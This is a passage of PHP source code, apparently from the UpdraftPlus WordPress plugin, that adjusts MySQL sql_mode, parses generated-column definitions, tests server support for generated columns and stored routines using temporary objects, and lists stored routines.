it should either the valid database link identifier(resource) given by mysql(i) or null to instead use the global WPDB object, or a WPDB-compatible object. */ public static function set_sql_mode($modes = array(), $remove_modes = array(), $db_handle = null) { global $updraftplus, $wpdb; $wpdb_handle_if_used = (null !== $db_handle && is_a($db_handle, 'WPDB')) ? $db_handle : $wpdb; // If any of these are set, they will be unset $strict_modes = array( // according to mariadb and mysql docs, strict mode can be one of these or both 'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES', ); $incompatible_modes = array_unique(array_merge(array( 'NO_ZERO_DATE', 'ONLY_FULL_GROUP_BY', 'TRADITIONAL', ), $strict_modes)); $class = __CLASS__; if (is_null($db_handle) || is_a($db_handle, 'WPDB')) { $initial_modes_str = $wpdb_handle_if_used->get_var('SELECT @@SESSION.sql_mode'); } else { $initial_modes_str = call_user_func_array(array($class, 'get_system_variable'), array('sql_mode', $db_handle)); } if (is_scalar($initial_modes_str) && !is_bool($initial_modes_str)) { $modes = array_unique(array_merge($modes, array_change_key_case(explode(',', $initial_modes_str), CASE_UPPER))); } else { $updraftplus->log("Couldn't get the sql_mode value (".serialize($initial_modes_str)."); will not attempt any adjustment"); return; } $modes = array_change_key_case($modes, CASE_UPPER); $unwanted_modes = array_merge($incompatible_modes, $remove_modes); foreach ($modes as $i => $mode) { if (in_array($mode, $unwanted_modes)) { unset($modes[$i]); } } $modes_str = implode(',', $modes); if (is_null($db_handle) || is_a($db_handle, 'WPDB')) { $res = $wpdb_handle_if_used->query($wpdb_handle_if_used->prepare("SET SESSION sql_mode = %s", $modes_str)); } else { $res = call_user_func_array(array($class, 'set_system_variable'), array('sql_mode', $modes_str, $db_handle)); } if (isset($initial_modes_str) && false == array_diff(explode(',', $initial_modes_str), $modes)) { $updraftplus->log("SQL compatibility mode is: $modes_str"); } else { $updraftplus->log("SQL compatibility mode".((false === $res) ? " not" : "")." successfully changed".(isset($initial_modes_str) ? " from $initial_modes_str" : "")." to $modes_str"); } } /** * Parse the SQL "create table" column definition (non validating) and check whether it's a generated column and retrieve its column options * * @see https://dev.mysql.com/doc/refman/8.0/en/create-table.html * @see https://mariadb.com/kb/en/create-table/ * * @param String $table_column_definition the column definition statement in which the generated column needs to be identified * @param Integer $starting_offset the string position of the column definition in a "create table" statement * @return Array|False an array of generated column fragment (column definition, column name, generated column type, etc); false otherwise * * Example input: * * $column_definition = "fullname varchar(101) GENERATED ALWAYS AS (CONCAT(first_name,' ',last_name)) VIRTUAL NOT NULL COMMENT 'this is the comment'," * * Corresponding result: * * [ * "column_definition" => "fullname varchar(101) GENERATED ALWAYS AS (CONCAT(first_name,' ',last_name)) VIRTUAL NOT NULL COMMENT 'this is the comment',", * "column_name" => "fullname", * "column_data_type_definition" => [ * [ * "GENERATED ALWAYS AS (CONCAT(first_name,' ',last_name))", * 90 * ], * [ * "VIRTUAL NOT NULL", * 123 // string position * ], * [ * "COMMENT 'this is the comment'", * 345 // string position * ] * ], * "is_virtual" => true * ] */ public static function get_generated_column_info($table_column_definition, $starting_offset) { // check whether or not the column definition ($table_column_definition) is a generated column, if so then get all the column definitions // https://regex101.com/r/Fy2Bkd/12 if (preg_match_all('/^\s*\`((?:[^`]|``)+)\`([^,\'"]+?)(?:((?:GENERATED\s*ALWAYS\s*)?AS\s*\(.+\))([\w\s]*)(COMMENT\s*(?:\'(?:[^\']|\'\')*\'|\"(?:[^"]|"")*\"))([\w\s]*)|((?:GENERATED\s*ALWAYS\s*)?AS\s*\(.+\)([\w\s]*)))/i', $table_column_definition, $column_definitions, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { if (empty($column_definitions)) return false; /** * If the above preg_match_all function succeed, it returns an array with the following format: * * Array(3) { * [0]=> // 1st set of the matched/captured string * array(6) { * [0]=> // 1st index represents a full column definition * array(2) { * [0]=> string(131) ", `full_name` char(41) GENERATED ALWAYS AS (concat(`firstname`,'()`)(()',`lastname`)) VIRTUAL NOT NULL COMMENT 'fu(ll)'_name'' COLUMN_FORMAT DEFAULT" * [1]=> int(541) * } * [1]=> // 2nd index represents a column name * array(2) { * [0]=> string(9) "full_name" * [1]=> int(547) * } * [2]=> // 3rd index represents data type option that is captured before "generated always as" * array(2) { * [0]=> string(18) " char(41) " * [1]=> int(555) * } * [3]=> // 4rd index represents data type option which is specific for "generated always as" * array(2) { * [0]=> string(18) "GENERATED ALWAYS AS (concat(`firstname`,'()`)(()',`lastname`))" * [1]=> int(629) // this is the position or starting offset of the captured data type's option, this can later be used to help with the unsupported keyword replacement stuff among db server * } * [4]=> // 5th index represents data type option that is captured before COMMENT keyword and after "generated always as" * array(2) { * [0]=> string(13) " VIRTUAL NOT NULL " // this is the comment string that could be filled with any word even the reserved keyword (e.g. not null, virtual, stored, etc..) * [1]=> int(656) // this is the position or starting offset of the captured data type's option, this can later be used to help with the unsupported keyword replacement stuff among db server * } * [5]=> // 6th index represents the comment * array(2) { * [0]=> string(2) "COMMENT 'fu(ll)'_name''" * [1]=> int(670) // this is the position or starting offset of the captured comment's string * } * [6]=> // 7th index represents data type option that is captured after the COMMENT keyword * array(2) { * [0]=> string(2) "COLUMN_FORMAT DEFAULT" * [1]=> int(670) * } * } * array(8) { // 2nd set * [0]=> * array(2) { * [0]=> string(95) ", `full_name6` char(41) GENERATED ALWAYS AS (concat(`firstname`,' ',`lastname2`))STORED NULL" * [1]=> int(1121) * } * [1]=> * array(2) { * [0]=> string(10) "full_name6" * [1]=> int(1127) * } * [2]=> * array(2) { * [0]=> string(0) " char(41) " * [1]=> int(1139) * } * [3]=> * array(2) { * [0]=> string(0) "" * [1]=> int(-1) * } * [4]=> * array(2) { * [0]=> string(0) "" * [1]=> int(-1) * } * [5]=> * array(2) { * [0]=> string(0) "" // an empty string of this captured token indicates that the column definition doesn't have COMMENT keyword * [1]=> int(-1) * } * [6]=> * array(2) { * [0]=> string(0) "" * [1]=> int(-1) * } * [7]=> // 8th index will appear if there's no COMMENT keyword found in the column definition and it represents data type option that is specific for "generated always as" * array(2) { * [0]=> string(11) "GENERATED ALWAYS AS (concat(`firstname`,' ',`lastname2`))" * [1]=> int(1205) * } * [8]=> // 9th index will appear if there's no COMMENT keyword found in the column definition and it represents the captured data type options * array(2) { * [0]=> string(11) "STORED NULL" * [1]=> int(1270) * } * } * } */ foreach ($column_definitions as $column_definition) { $data_type_definition = (!empty($column_definition[4][0]) ? $column_definition[4][0] : '').(!empty($column_definition[6][0]) ? $column_definition[6][0] : '').(!empty($column_definition[8][0]) ? $column_definition[8][0] : ''); // if no virtual, stored or persistent option is specified then it's virtual by default. It's not possible having two generated columns type in the column definition e.g fullname varchar(101) GENERATED ALWAYS AS (CONCAT(first_name,' ',last_name)) VIRTUAL STORED NOT NULL COMMENT 'comment text', both MySQL and MariaDB will produces an error $is_virtual = preg_match('/\bvirtual\b/i', $data_type_definition) || (!preg_match('/\bstored\b/i', $data_type_definition) && !preg_match('/\bpersistent\b/i', $data_type_definition)); $fragment = array( // full syntax of the column definition "column_definition" => $column_definition[0][0], // the extracted column name "column_name" => $column_definition[1][0], 'column_data_type_definition' => array(), "is_virtual" => $is_virtual, ); if (!empty($column_definition[2])) { $fragment['column_data_type_definition']['DATA_TYPE_TOKEN'] = $column_definition[2]; $fragment['column_data_type_definition']['DATA_TYPE_TOKEN'][1] = (int) $starting_offset + (int) $fragment['column_data_type_definition']['DATA_TYPE_TOKEN'][1]; } if (!empty($column_definition[3])) { $fragment['column_data_type_definition']['GENERATED_ALWAYS_TOKEN'] = $column_definition[3]; if (empty($fragment['column_data_type_definition'][1]) && !empty($column_definition[7][0])) $fragment['column_data_type_definition']['GENERATED_ALWAYS_TOKEN'] = $column_definition[7]; $fragment['column_data_type_definition']['GENERATED_ALWAYS_TOKEN'][1] = (int) $starting_offset + (int) $fragment['column_data_type_definition']['GENERATED_ALWAYS_TOKEN'][1]; } if (!empty($column_definition[4])) { $fragment['column_data_type_definition'][2] = $column_definition[4]; $fragment['column_data_type_definition'][2][1] = (int) $starting_offset + (int) $fragment['column_data_type_definition'][2][1]; } if (!empty($column_definition[5])) { $fragment['column_data_type_definition']['COMMENT_TOKEN'] = $column_definition[5]; $fragment['column_data_type_definition']['COMMENT_TOKEN'][1] = (int) $starting_offset + (int) $fragment['column_data_type_definition']['COMMENT_TOKEN'][1]; } if (!empty($column_definition[6])) { $fragment['column_data_type_definition'][4] = $column_definition[6]; $fragment['column_data_type_definition'][4][1] = (int) $starting_offset + (int) $fragment['column_data_type_definition'][4][1]; } if (!empty($column_definition[8])) { $fragment['column_data_type_definition'][5] = $column_definition[8]; $fragment['column_data_type_definition'][5][1] = (int) $starting_offset + (int) $fragment['column_data_type_definition'][5][1]; } } } return isset($fragment) ? $fragment : false; } /** * Retrieve information concerning whether the currently running database server supports generated columns (VIRTUAL, STORED, PERSISTENT) * * @param String $engine Optional. If specified, it should either a well-known database engine like InnoDB, MyISAM, etc or an empty string to instead use database default storage engine; e.g. 'MyISAM' * @return Array|Boolean an array of supported generated column syntax options (whether or not persistent type, not null, virtual index are supported) or false if generated column isn't supported * * The return value is structured thus: * * [ * // InnoDB supports PERSISTENT generated columns type, whereas MyISAM does not * "is_persistent_supported" => false, * // InnoDB supports NOT NULL constraint, whereas MyISAM does not * "is_not_null_supported" => true, * // if it's on MariaDB, you can use insert ignore statement to prevent generated columns errors but not on MySQL * "can_insert_ignore_to_generated_column" => true, * // No matter what the database engine you use, MySQL doesn't yet support indexing on generated columns * "is_virtual_index_supported" => false * ] */ public static function is_generated_column_supported($engine = '') { global $table_prefix, $wpdb; $random_table_name = $table_prefix.'updraft_tmp_'.rand(0, 9999999).md5(microtime(true)); $drop_statement = "DROP TABLE IF EXISTS `$random_table_name`;"; // both mysql and mariadb support generated column, virtual is the default type and the other option type is called stored, mariadb has an alias for stored type which is called persistent, whereas mysql doesn't have such thing. // MySQL supports NULL and NOT NULL constraints. On the other hand, MariaDB doesn't support it. $sql = array( "CREATE TABLE `$random_table_name` (`virtual_column` varchar(17) GENERATED ALWAYS AS ('virtual_column') VIRTUAL COMMENT 'virtual_column')".(!empty($engine) ? " ENGINE=$engine" : "").";", "ALTER TABLE `$random_table_name` ADD `persistent_column` VARCHAR(17) AS ('persistent_column') PERSISTENT COMMENT 'generated_column';", "ALTER TABLE `$random_table_name` ADD `virtual_column_not_null` VARCHAR(17) AS ('virtual_column_not_null') VIRTUAL NOT NULL COMMENT 'virtual_column_not_null';", // check if we can get through this: Error Code: 3105. The value specified for generated column 'generated_column' in table 'wp_generated_column_test' is not allowed. // DEFAULT is the only allowed value for virtual and stored type (i.e INSERT IGNORE INTO `wp_generated_column_test` (`virtual_column`) VALUES(DEFAULT)), other than that will produce an error, luckily insert ignore works fine on MariaDB but not on MySQL "INSERT IGNORE INTO `$random_table_name` (`virtual_column`) VALUES('virtual_column');", // MySQL does not support the create option 'Index on virtual generated column' on MyISAM storage engine "CREATE INDEX `idx_wp_udp_generated_column_test_generated_column` ON `$random_table_name` (virtual_column) COMMENT 'virtual_column' ALGORITHM DEFAULT LOCK DEFAULT;", ); $old_val = $wpdb->suppress_errors(); $wpdb->query($drop_statement); $is_generated_column_supported = $wpdb->query($sql[0]); if ($is_generated_column_supported) { $is_generated_column_supported = array( 'is_persistent_supported' => $wpdb->query($sql[1]), 'is_not_null_supported' => $wpdb->query($sql[2]), 'can_insert_ignore_to_generated_column' => (bool) $wpdb->query($sql[3]), 'is_virtual_index_supported' => $wpdb->query($sql[4]) ); } else { $is_generated_column_supported = false; } $wpdb->query($drop_statement); $wpdb->suppress_errors($old_val); return $is_generated_column_supported; } /** * Parse the "insert into" statement, capture the column names (if any) and check whether one of the captured columns matches the given list of the "$generated_columns" * * @see https://regex101.com/r/JZiJqH/2 * * @param String $insert_statement the insert statement in which the generated columns will be checked * @param Array $generated_columns the list of the available "generated columns" * @return Boolean|Null True if "generated columns" exist in the "insert into" statement, false otherwise, null on empty or unmatched insert statement */ public static function generated_columns_exist_in_the_statement($insert_statement, $generated_columns) { $exist = null; if (preg_match('/\s*insert.+?into(?:\s*`(?:[^`]|`)+?`|[^\(]+)(?:\s*\((.+?)\))?\s*values.+/i', $insert_statement, $matches)) { /** * the reqex above will search for matches of either the insert statement gives data based on the specified column names (i.e INSERT INTO `table_name`(`col1`,'col2`,`virtual_column`,`stored_column`,`col5`) values('1','2','3','4','5')) or not (i.e INSERT INTO `table_name` values('1',',2','3','4','5')), and if the above preg_match function succeed, it returns an array with the following format: * * Array(2) { * [0]=> "INSERT INTO `table_name`(`col1`,'col2`,`virtual_column`,`stored_column`,`col5`) values('1','2','3','4','5')" * [1]=> "`col1`,`col2`,`virtual_column`,`col4`,`stored_column`" * } * OR * Array(1) { * [0]=> "INSERT INTO `table_name` values('1','2','3','4','5')" * } */ $columns = isset($matches[1]) ? preg_split('/\`\s*,\s*\`/', preg_replace('/\`((?:[^\`]|\`)+)\`/', "$1", trim($matches[1]))) : array(); /** * the preg_replace is used to remove the leading and trailing backtick, so that the string becomes: col1`,`col2`,`virtual_column`,`col4`,`stored_column * the preg_split is used to split all strings that match `,` pattern * Array(5) { * [0]=> string(5) "col1" * [1]=> string(4) "col2" * [2]=> string(14) "virtual_column" * [3]=> string(4) "col4" * [4]=> string(14) "stored_column" * } */ $exist = (false == $columns) || (true == array_intersect($generated_columns, $columns)); } return $exist; } /** * Check whether the currently running database server supports stored routines * * @return Array|WP_Error an array of booleans indicating whether or not some of syntax variations are supported, or WP_Error object if stored routine isn't supported * * Return format example: * * [ * "is_create_or_replace_supported" => true, // true on MariaDB, false on MySQL * "is_if_not_exists_function_supported" => true, // true on MariaDB, false on MySQL * "is_aggregate_function_supported" => true, // true on MariaDB, false on MySQL * "is_binary_logging_enabled" => true, // true if --bin-log is specified for both MariaDB and MySQL * "is_function_creators_trusted" => false // the default value is false (MariaDB/MySQL) * ] * * OR a database error message, e.g. "Access denied for user 'root'@'localhost' to database 'wordpress'" */ public static function is_stored_routine_supported() { global $wpdb; $function_name = 'updraft_test_stored_routine'; $sql = array( "DROP_FUNCTION" => "DROP FUNCTION IF EXISTS ".$function_name, // sql to check whether stored routines is supported "CREATE_FUNCTION" => "CREATE FUNCTION ".$function_name."() RETURNS tinyint(1) DETERMINISTIC READS SQL DATA RETURN true", // sql to check whether create or replace syntax is supported "CREATE_REPLACE_FUNCTION" => "CREATE OR REPLACE FUNCTION ".$function_name."() RETURNS tinyint(1) DETERMINISTIC READS SQL DATA RETURN true", // sql to check whether if not exists syntax is supported (mariadb starting with 10.1.3) "CREATE_FUNCTION_IF_NOT_EXISTS" => "CREATE FUNCTION IF NOT EXISTS ".$function_name."() RETURNS tinyint(1) DETERMINISTIC READS SQL DATA RETURN true", // sql to check whether aggregate function is supported (mariadb starting with 10.3.3) "CREATE_REPLACE_AGGREGATE" => "CREATE OR REPLACE AGGREGATE FUNCTION ".$function_name."() RETURNS tinyint(1) DETERMINISTIC READS SQL DATA BEGIN RETURN true; FETCH GROUP NEXT ROW; END;" ); $old_val = $wpdb->suppress_errors(); $wpdb->query($sql['DROP_FUNCTION']); $is_stored_routine_supported = $wpdb->query($sql['CREATE_FUNCTION']); if ($is_stored_routine_supported) { $is_binary_logging_enabled = 1 == $wpdb->get_var('SELECT @@GLOBAL.log_bin'); // not sure why the log_bin variable cant be retrieved on mysql 5.0, seems like there's a bug on that version, so we use another alternative to check whether or not binary logging is enabled $is_binary_logging_enabled = false === $is_binary_logging_enabled ? $wpdb->get_results("SHOW GLOBAL VARIABLES LIKE 'log_bin'", ARRAY_A) : $is_binary_logging_enabled; $is_binary_logging_enabled = is_array($is_binary_logging_enabled) && isset($is_binary_logging_enabled[0]['Value']) && '' != $is_binary_logging_enabled[0]['Value'] ? $is_binary_logging_enabled[0]['Value'] : $is_binary_logging_enabled; $is_binary_logging_enabled = is_string($is_binary_logging_enabled) && ('ON' === strtoupper($is_binary_logging_enabled) || '1' === $is_binary_logging_enabled) ? true : $is_binary_logging_enabled; $is_binary_logging_enabled = is_string($is_binary_logging_enabled) && ('OFF' === strtoupper($is_binary_logging_enabled) || '0' === $is_binary_logging_enabled) ? false : $is_binary_logging_enabled; $is_stored_routine_supported = array( 'is_create_or_replace_supported' => $wpdb->query($sql['CREATE_REPLACE_FUNCTION']), 'is_if_not_exists_function_supported' => $wpdb->query($sql['CREATE_FUNCTION_IF_NOT_EXISTS']), 'is_aggregate_function_supported' => $wpdb->query($sql['CREATE_REPLACE_AGGREGATE']), 'is_binary_logging_enabled' => $is_binary_logging_enabled, 'is_function_creators_trusted' => 1 == $wpdb->get_var('SELECT @@GLOBAL.log_bin_trust_function_creators'), ); $wpdb->query($sql['DROP_FUNCTION']); } else { $is_stored_routine_supported = new WP_Error('routine_creation_error', sprintf(__('An error occurred while attempting to check the support of stored routines creation (%s %s)', 'updraftplus'), $wpdb->last_error.' -', $sql['CREATE_FUNCTION'])); } $wpdb->suppress_errors($old_val); return $is_stored_routine_supported; } /** * Retrieve all the stored routines (functions and procedures) in the currently running database * * @return Array|WP_Error an array of routine statuses, or an empty array if there is no stored routine in the database, or WP_Error object on failure * * Output example: * * [ * [ * "Db" => "wordpress", * "Name" => "_NextVal", * "Type" => "FUNCTION", * "Definer" => "root@localhost", * "Modified" => "2019-11-22 15:11:15", * "Created" => "2019-11-22 14:20:29", * "Security_type" => "DEFINER", * "Comment" => "", * "Function" => "_NextVal", * "sql_mode" => "", * "Create Function" => " * CREATE DEFINER=`root`@`localhost` FUNCTION `_NextVal`(vname VARCHAR(30)) RETURNS int(11) * BEGIN * -- Retrieve and update in single statement * UPDATE _sequences * SET next = next + 1 * WHERE name = vname; * RETURN (SELECT next FROM _sequences LIMIT 1); * END" * ], * [ * "Db" => "wordpress", * "Name" => "CreateSequence", * "Type" => "Procedure", * "Definer" => "root@localhost", * "Modified" => "2019-11-22 15:11:15", * "Created" => "2019-11-22 14:20:29", * "Security_type" => "DEFINER", * "Comment" => "", * "Procedure" => "CreateSequence", * "sql_mode" => "", * "Create Procedure" => " * CREATE DEFINER=`root`@`localhost` PROCEDURE `CreateSequence`(name VARCHAR(30), start INT, inc INT) * BEGIN * -- Create a table to store sequences * CREATE TABLE _sequences ( * name VARCHAR(70) NOT NULL UNIQUE, * next INT NOT NULL, * inc INT NOT NULL, * ); * -- Add the new sequence * INSERT INTO _sequences VALUES (name, start, inc); * END" * ] * ] */ public static function get_stored_routines() { global $wpdb; $old_val = $wpdb->suppress_errors(); try { $err_msg = __('An error occurred while attempting to retrieve routine status (%s %s)', 'updraftplus'); $function_status = $wpdb->get_results($wpdb->prepare('SHOW FUNCTION STATUS WHERE DB = %s', DB_NAME), ARRAY_A); if (!empty($wpdb->last_error)) throw new Exception(sprintf($err_msg, $wpdb->last_error.' -', $wpdb->last_query), 0); $procedure_status = $wpdb->get_results($wpdb->prepare('SHOW PROCEDURE STATUS WHERE DB = %s', DB_NAME), ARRAY_A); if (!empty($wpdb->last_error)) throw new Exception(sprintf($err_msg, $wpdb->last_error.' -', $wpdb->last_query), 0); $stored_routines = array_merge((array) $function_status, (array) $procedure_status); foreach ((array) $stored_routines as $key => $routine) { if (empty($routine['Name']) || empty($routine['Type'])) continue; $routine_name = $routine['Name']; // Since routine name can include backquotes and routine name is typically enclosed with backquotes as well, the backquote escaping for the routine name can be done by adding a leading backquote $quoted_escaped_routine_name = UpdraftPlus_Manipulation_Functions::backquote(str_replace('`', '``', $routine_name)); $routine = $wpdb->get_results($wpdb->prepare('SHOW CREATE %1$s %2$s', $routine['Type'], $quoted_escaped_routine_name), ARRAY_A); if (!empty($wpdb->last_error)) throw new Exception(sprintf(__('An error occurred while attempting to retrieve the routine SQL/DDL statement (%s %s)', 'updraftplus'), $wpdb->last_error.' -', $wpdb->last_query), 1); $stored_routines[$key] = array_merge($stored_routines[$key], $routine ? $routine[0] : array()); } } catch (Exception $ex) { $stored_routines = new WP_Error(1 === $ex->getCode() ? 'routine_sql_error' : 'routine_status_error', $ex->getMessage()); } $wpdb->suppress_errors($old_val); return $stored_routines; } /** * First half of escaping for LIKE special characters % and _ before preparing for MySQL. * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security. This is a shim function for WP versions before 4.0. * * @param String $text The raw text to be escaped. The input typed by the user should have no extra or deleted slashes. * @return String Text in the form of a LIKE phrase. The output is not SQL safe. Call wpdb::prepare() or wpdb::_real_escape() next. */ public static function esc_like($text) { return function_exists('esc_like') ? esc_like($text) : addcslashes($text, '_%\\'); } /** * Return installation or activation link of WP-Optimize plugin * * @return String */ public static function get_install_activate_link_of_wp_optimize_plugin() { // If WP-Optimize is activated, then return empty. if (class_exists('WP_Optimize')) return ''; // Generally it is 'wp-optimize/wp-optimize.php', // but we can't assume that the user hasn't renamed the plugin folder - with 3 million UDP users and 1 million AIOWPS, there will be some who have. $wp_optimize_plugin_file_rel_to_plugins_dir = UpdraftPlus_Database_Utility::get_wp_optimize_plugin_file_rel_to_plugins_dir(); // If UpdraftPlus is installed but not activated, then return activate link. if ($wp_optimize_plugin_file_rel_to_plugins_dir) { $activate_url = add_query_arg(array( '_wpnonce' => wp_create_nonce('activate-plugin_'.$wp_optimize_plugin_file_rel_to_plugins_dir), 'action' => 'activate', 'plugin' => $wp_optimize_plugin_file_rel_to_plugins_dir, ), network_admin_url('plugins.php')); // If is network admin then add to link network activation. if (is_network_admin()) { $activate_url = add_query_arg(array('networkwide' => 1), $activate_url); } return sprintf('%s <a href="%s">%s</a>', __('WP-Optimize is installed but currently inactive.', 'updraftplus'), $activate_url, __('Follow this link to activate the WP-Optimize plugin.', 'updraftplus')); } // If WP-Optimize is neither activated nor installed then return the installation link return '<a href="'.wp_nonce_url(self_admin_url('update.php?action=install-plugin&updraftplus_noautobackup=1&plugin=wp-optimize'), 'install-plugin_wp-optimize').'">'.__('Follow this link to install the WP-Optimize plugin.', 'updraftplus').'</a>'; } /** * Get path to the WP-Optimize plugin file relative to the plugins directory. * * @return String|false path to the WP-Optimize plugin file relative to the plugins directory */ public static function get_wp_optimize_plugin_file_rel_to_plugins_dir() { if (!function_exists('get_plugins')) { include_once ABSPATH . '/wp-admin/includes/plugin.php'; } $installed_plugins = get_plugins(); $installed_plugins_keys = array_keys($installed_plugins); foreach ($installed_plugins_keys as $plugin_file_rel_to_plugins_dir) { $temp_plugin_file_name = substr($plugin_file_rel_to_plugins_dir, strpos($plugin_file_rel_to_plugins_dir, '/') + 1); if ('wp-optimize.php' == $temp_plugin_file_name) { return $plugin_file_rel_to_plugins_dir; } } return false; } } class UpdraftPlus_WPDB_OtherDB_Utility extends wpdb { /** * This adjusted bail() does two things: 1) Never dies and 2) logs in the UD log * * @param String $message a string containing a message * @param String $error_code a string containing an error code * @return Boolean returns false */ public function bail($message, $error_code = '500') { global $updraftplus; if ('db_connect_fail' == $error_code) $message = 'Connection failed: check your access details, that the database server is up, and that the network connection is not firewalled.'; $updraftplus->log("WPDB_OtherDB error: $message ($error_code)"); // Now do the things that would have been done anyway $this->error = class_exists('WP_Error') ? new WP_Error($error_code, $message) : $message; return false; } }